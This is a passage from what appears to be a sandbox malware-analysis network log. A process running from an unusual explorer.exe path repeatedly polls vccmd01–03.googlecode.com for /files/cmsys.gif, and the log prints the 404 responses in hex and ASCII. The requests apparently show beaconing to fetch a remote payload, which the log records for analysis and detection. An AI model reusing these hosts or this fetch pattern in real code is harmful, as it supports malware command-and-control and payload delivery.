0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:03.036562920 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	60703	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:03.255206108 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:04.214234114 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:04 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:04.214267969 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	60705	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:06.147283077 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:07.077585936 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:06 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:07.077644110 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	60706	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:07.326175928 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:09.189424992 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:08 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:09.189438105 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15
Oct 29, 2024 13:10:09.189624071 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15
Oct 29, 2024 13:10:09.189881086 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:08 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:09.190319061 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:08 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:09.449060917 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	60707	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:09.456232071 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:10.972855091 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:10 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:10.972870111 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15
Oct 29, 2024 13:10:10.973149061 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15
Oct 29, 2024 13:10:10.974607944 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:10 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:10.982062101 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	60709	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:13.188565969 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
